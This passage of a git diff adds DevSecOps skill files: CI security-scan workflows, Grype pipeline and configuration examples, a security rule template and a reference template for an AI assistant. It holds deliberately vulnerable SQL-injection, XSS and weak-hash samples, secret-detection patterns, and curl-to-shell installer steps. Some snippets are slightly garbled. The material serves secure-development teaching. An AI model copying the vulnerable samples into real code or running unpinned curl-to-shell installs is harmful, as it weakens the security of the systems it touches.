github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/devsecops/container-grype/assets/grype-ci-config.yml b/skills/devsecops/container-grype/assets/grype-ci-config.yml new file mode 100644 index 0000000..f38e553 --- /dev/null +++ b/skills/devsecops/container-grype/assets/grype-ci-config.yml @@ -0,0 +1,405 @@ +# Grype CI/CD Pipeline Configuration Examples +# +# This file provides example configurations for integrating Grype vulnerability +# scanning into various CI/CD platforms. + +# ============================================================================= +# GitHub Actions +# ============================================================================= + +name: Container Security Scan + +on: + push: + branches: [main, develop] + pull_request: + branches: [main] + schedule: + # Scan daily for new vulnerabilities + - cron: '0 6 * * *' + +jobs: + grype-scan: + name: Grype Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker image + run: | + docker build -t ${{ github.repository }}:${{ github.sha }} . + + - name: Install Grype + uses: anchore/scan-action@v3 + id: grype + with: + image: ${{ github.repository }}:${{ github.sha }} + fail-build: true + severity-cutoff: high + output-format: sarif + + - name: Upload SARIF results to GitHub Security + uses: github/codeql-action/upload-sarif@v3 + if: always() + with: + sarif_file: ${{ steps.grype.outputs.sarif }} + + - name: Generate human-readable report + if: always() + run: | + grype ${{ github.repository }}:${{ github.sha }} -o table > grype-report.txt + + - name: Upload scan report + uses: actions/upload-artifact@v4 + if: always() + with: + name: grype-scan-report + path: grype-report.txt + retention-days: 30 + +# ============================================================================= +# GitLab CI +# ============================================================================= + +# .gitlab-ci.yml + +stages: + - build + - scan + - deploy + +variables: + IMAGE_NAME: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA + GRYPE_VERSION: "latest" + +build: + stage: build + image: docker:24-dind + services: + - docker:24-dind + script: + - docker build -t $IMAGE_NAME . + - docker push $IMAGE_NAME + only: + - branches + +grype-scan: + stage: scan + image: anchore/grype:$GRYPE_VERSION + script: + - grype $IMAGE_NAME --fail-on high -o json > grype-results.json + - grype $IMAGE_NAME -o table + artifacts: + reports: + container_scanning: grype-results.json + paths: + - grype-results.json + expire_in: 30 days + allow_failure: false + only: + - branches + +deploy: + stage: deploy + script: + - echo "Deploying $IMAGE_NAME" + only: + - main + when: on_success + +# ============================================================================= +# Jenkins Pipeline +# ============================================================================= + +# Jenkinsfile + +pipeline { + agent any + + environment { + IMAGE_NAME = "myapp" + IMAGE_TAG = "${env.BUILD_NUMBER}" + GRYPE_VERSION = "latest" + } + + stages { + stage('Build') { + steps { + script { + docker.build("${IMAGE_NAME}:${IMAGE_TAG}") + } + } + } + + stage('Grype Scan') { + agent { + docker { + image "anchore/grype:${GRYPE_VERSION}" + args '-v /var/run/docker.sock:/var/run/docker.sock' + } + } + steps { + sh """ + # Run scan with high severity threshold + grype ${IMAGE_NAME}:${IMAGE_TAG} \ + --fail-on high \ + -o json > grype-results.json + + # Generate human-readable report + grype ${IMAGE_NAME}:${IMAGE_TAG} \ + -o table > grype-report.txt + """ + } + post { + always { + archiveArtifacts artifacts: 'grype-*.json,grype-*.txt', + allowEmptyArchive: true + } + failure { + echo 'Grype scan found vulnerabilities above threshold' + } + } + } + + stage('Deploy') { + when { + branch 'main' + } + steps { + echo "Deploying ${IMAGE_NAME}:${IMAGE_TAG}" + } + } + } +} + +# ============================================================================= +# CircleCI +# ============================================================================= + +# .circleci/config.yml + +version: 2.1 + +orbs: + docker: circleci/docker@2.2.0 + +jobs: + build-and-scan: + docker: + - image: cimg/base:2024.01 + steps: + - checkout + - setup_remote_docker: + docker_layer_caching: true + + - run: + name: Build Docker Image + command: | + docker build -t myapp:${CIRCLE_SHA1} . + + - run: + name: Install Grype + command: | + curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin + + - run: + name: Scan with Grype + command: | + grype myapp:${CIRCLE_SHA1} --fail-on critical -o json > grype-results.json + grype myapp:${CIRCLE_SHA1} -o table | tee grype-report.txt + + - store_artifacts: + path: grype-results.json + destination: scan-results + + - store_artifacts: + path: grype-report.txt + destination: scan-results + +workflows: + build-scan-deploy: + jobs: + - build-and-scan: + filters: + branches: + only: + - main + - develop + +# ============================================================================= +# Azure Pipelines +# ============================================================================= + +# azure-pipelines.yml + +trigger: + branches: + include: + - main + - develop + +pool: + vmImage: 'ubuntu-latest' + +variables: + imageName: 'myapp' + imageTag: '$(Build.BuildId)' + +stages: + - stage: Build + jobs: + - job: BuildImage + steps: + - task: Docker@2 + displayName: Build Docker image + inputs: + command: build + dockerfile: Dockerfile + tags: $(imageTag) + + - stage: Scan + dependsOn: Build + jobs: + - job: GrypeScan + steps: + - script: | + # Install Grype + curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin + + # Run scan + grype $(imageName):$(imageTag) \ + --fail-on high \ + -o json > $(Build.ArtifactStagingDirectory)/grype-results.json + + grype $(imageName):$(imageTag) \ + -o table > $(Build.ArtifactStagingDirectory)/grype-report.txt + displayName: 'Run Grype Scan' + + - task: PublishBuildArtifacts@1 + displayName: 'Publish Scan Results' + inputs: + PathtoPublish: '$(Build.ArtifactStagingDirectory)' + ArtifactName: 'grype-scan-results' + condition: always() + + - stage: Deploy + dependsOn: Scan + condition: and(succeeded(), eq(variables['Build.SourceBranch'], 'refs/heads/main')) + jobs: + - job: DeployProduction + steps: + - script: echo "Deploying to production" + displayName: 'Deploy' + +# ============================================================================= +# Tekton Pipeline +# ============================================================================= + +# tekton-pipeline.yaml + +apiVersion: tekton.dev/v1beta1 +kind: Pipeline +metadata: + name: grype-scan-pipeline +spec: + params: + - name: image-name + type: string + description: Name of the image to scan + - name: image-tag + type: string + description: Tag of the image to scan + default: latest + + workspaces: + - name: shared-workspace + + tasks: + - name: build-image + taskRef: + name: buildah + workspaces: + - name: source + workspace: shared-workspace + params: + - name: IMAGE + value: $(params.image-name):$(params.image-tag) + + - name: grype-scan + runAfter: + - build-image + taskRef: + name: grype-scan + params: + - name: IMAGE + value: $(params.image-name):$(params.image-tag) + - name: SEVERITY_THRESHOLD + value: high + + - name: deploy + runAfter: + - grype-scan + taskRef: + name: kubectl-deploy + params: + - name: IMAGE + value: $(params.image-name):$(params.image-tag) + +--- + +apiVersion: tekton.dev/v1beta1 +kind: Task +metadata: + name: grype-scan +spec: + params: + - name: IMAGE + description: Image to scan + - name: SEVERITY_THRESHOLD + description: Fail on this severity or higher + default: high + + steps: + - name: scan + image: anchore/grype:latest + script: | + #!/bin/sh + grype $(params.IMAGE) \ + --fail-on $(params.SEVERITY_THRESHOLD) \ + -o json > /workspace/grype-results.json + + grype $(params.IMAGE) -o table | tee /workspace/grype-report.txt + + workspaces: + - name: scan-results + +# ============================================================================= +# Best Practices +# ============================================================================= + +# 1. Update vulnerability database regularly +# - Run grype db update before scans +# - Cache database between pipeline runs +# - Update database at least daily + +# 2. Set appropriate fail thresholds +# - Production: --fail-on critical or high +# - Development: --fail-on high (may allow critical temporarily) +# - Monitor-only: No fail threshold, just report + +# 3. Archive scan results +# - Store JSON for trend analysis +# - Keep reports for compliance audits +# - Retention: 30-90 days minimum + +# 4. Integrate with security dashboards +# - Upload SARIF to GitHub Security +# - Send metrics to monitoring systems +# - Alert security team on critical findings + +# 5. Scheduled scanning +# - Scan production images daily for new CVEs +# - Re-scan after vulnerability database updates +# - Track vulnerability trends over time diff --git a/skills/devsecops/container-grype/assets/grype-config.yaml b/skills/devsecops/container-grype/assets/grype-config.yaml new file mode 100644 index 0000000..057323c --- /dev/null +++ b/skills/devsecops/container-grype/assets/grype-config.yaml @@ -0,0 +1,255 @@ +# Grype Configuration File (.grype.yaml) +# +# Place this file in your project root or specify with: grype -c .grype.yaml +# +# Documentation: https://github.com/anchore/grype#configuration + +# ============================================================================= +# Ignore Rules - Suppress False Positives and Accepted Risks +# ============================================================================= + +ignore: + # Example 1: Ignore specific CVE globally + - vulnerability: CVE-2021-12345 + reason: "False positive - vulnerable code path not used in our application" + + # Example 2: Ignore CVE for specific package only + - vulnerability: CVE-2022-67890 + package: + name: example-library + version: 1.2.3 + reason: "Risk accepted - compensating WAF rules deployed to block exploitation" + + # Example 3: Ignore CVE with expiration date (forces re-evaluation) + - vulnerability: CVE-2023-11111 + package: + name: lodash + reason: "Temporary acceptance while migration to alternative library is in progress" + expires: 2025-12-31 + + # Example 4: Ignore by fix state + - fix-state: wont-fix + reason: "Maintainer has stated these will not be fixed" + + # Example 5: Ignore vulnerabilities in test dependencies + - package: + name: pytest + type: python + reason: "Test-only dependency, not present in production" + +# ============================================================================= +# Match Configuration +# ============================================================================= + +match: + # Match vulnerabilities in OS packages + os: + enabled: true + + # Match vulnerabilities in language packages + language: + enabled: true + + # Control matching behavior + go: + # Use Go module proxy for additional metadata + use-network: true + main-module-version: + # Use version from go.mod if available + from-contents: true + + java: + # Use Maven Central for additional metadata + use-network: true + + python: + # Use PyPI for additional metadata + use-network: true + +# ============================================================================= +# Search Configuration +# ============================================================================= + +search: + # Search for packages in these locations + scope: all-layers # Options: all-layers, squashed + + # Exclude paths from scanning + exclude: + # Exclude documentation directories + - "/usr/share/doc/**" + - "/usr/share/man/**" + + # Exclude test directories + - "**/test/**" + - "**/tests/**" + - "**/__tests__/**" + + # Exclude development tools not in production + - "**/node_modules/.bin/**" + + # Exclude specific files + - "**/*.md" + - "**/*.txt" + + # Index archives (tar, zip, jar, etc.) + index-archives: true + + # Maximum depth to traverse nested archives + max-depth: 3 + +# ============================================================================= +# Database Configuration +# ============================================================================= + +db: + # Cache directory for vulnerability database + cache-dir: ~/.grype/db + + # Auto-update database + auto-update: true + + # Validate database checksum + validate-by-hash-on-start: true + + # Update check timeout + update-url-timeout: 30s + +# ============================================================================= +# Vulnerability Matching Configuration +# ============================================================================= + +# Adjust matcher configuration +dev: + # Profile memory usage (debugging) + profile-mem: false + +# ============================================================================= +# Output Configuration +# ============================================================================= + +output: + # Default output format + # Options: table, json, cyclonedx-json, cyclonedx-xml, sarif, template + format: table + + # Show suppressed/ignored vulnerabilities in output + show-suppressed: false + +# ============================================================================= +# Fail-on Configuration +# ============================================================================= + +# Uncomment to set default fail-on severity +# fail-on: high # Options: negligible, low, medium, high, critical + +# ============================================================================= +# Registry Authentication +# ============================================================================= + +registry: + # Authenticate to private registries + # auth: + # - authority: registry.example.com + # username: user + # password: pass + # + # - authority: gcr.io + # token: + + # Use Docker config for authentication + insecure-use-http: false + +# ============================================================================= +# Example Configurations for Different Use Cases +# ============================================================================= + +# ----------------------------------------------------------------------------- +# Use Case 1: Development Environment (Permissive) +# ----------------------------------------------------------------------------- +# +# ignore: +# # Allow medium and below in dev +# - severity: medium +# reason: "Development environment - focus on high/critical only" +# +# fail-on: critical +# +# search: +# exclude: +# - "**/test/**" +# - "**/node_modules/**" + +# ----------------------------------------------------------------------------- +# Use Case 2: CI/CD Pipeline (Strict) +# ----------------------------------------------------------------------------- +# +# fail-on: high +# +# ignore: +# # Only allow documented exceptions +# - vulnerability: CVE-2024-XXXX +# reason: "Documented risk acceptance by Security Team - Ticket SEC-123" +# expires: 2025-06-30 +# +# output: +# format: json +# show-suppressed: true + +# ----------------------------------------------------------------------------- +# Use Case 3: Production Monitoring (Focus on Exploitability) +# ----------------------------------------------------------------------------- +# +# match: +# # Prioritize known exploited vulnerabilities +# only-fixed: true # Only show CVEs with available fixes +# +# ignore: +# # Ignore unfixable vulnerabilities with compensating controls +# - fix-state: wont-fix +# reason: "Compensating controls implemented - network isolation, WAF rules" +# +# output: +# format: json + +# ----------------------------------------------------------------------------- +# Use Case 4: Compliance Scanning (Comprehensive) +# ----------------------------------------------------------------------------- +# +# search: +# scope: all-layers +# index-archives: true +# max-depth: 5 +# +# output: +# format: cyclonedx-json +# show-suppressed: true +# +# # No ignores - report everything for compliance review + +# ============================================================================= +# Best Practices +# ============================================================================= + +# 1. Document all ignore rules with clear reasons +# - Include ticket numbers for risk acceptances +# - Set expiration dates for temporary ignores +# - Review ignores quarterly + +# 2. Use package-specific ignores instead of global CVE ignores +# - Reduces risk of suppressing legitimate vulnerabilities in other packages +# - Example: CVE-2021-12345 in package-a (ignored) vs package-b (should alert) + +# 3. Exclude non-production paths +# - Test directories, documentation, dev tools +# - Reduces noise and scan time + +# 4. Keep configuration in version control +# - Track changes to ignore rules +# - Audit trail for risk acceptances +# - Share consistent configuration across team + +# 5. Different configs for different environments +# - Development: More permissive, focus on critical +# - CI/CD: Strict, block on high/critical +# - Production: Monitor all, focus on exploitable CVEs diff --git a/skills/devsecops/container-grype/assets/rule-template.yaml b/skills/devsecops/container-grype/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/devsecops/container-grype/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/devsecops/container-grype/references/EXAMPLE.md b/skills/devsecops/container-grype/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/devsecops/container-grype/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common 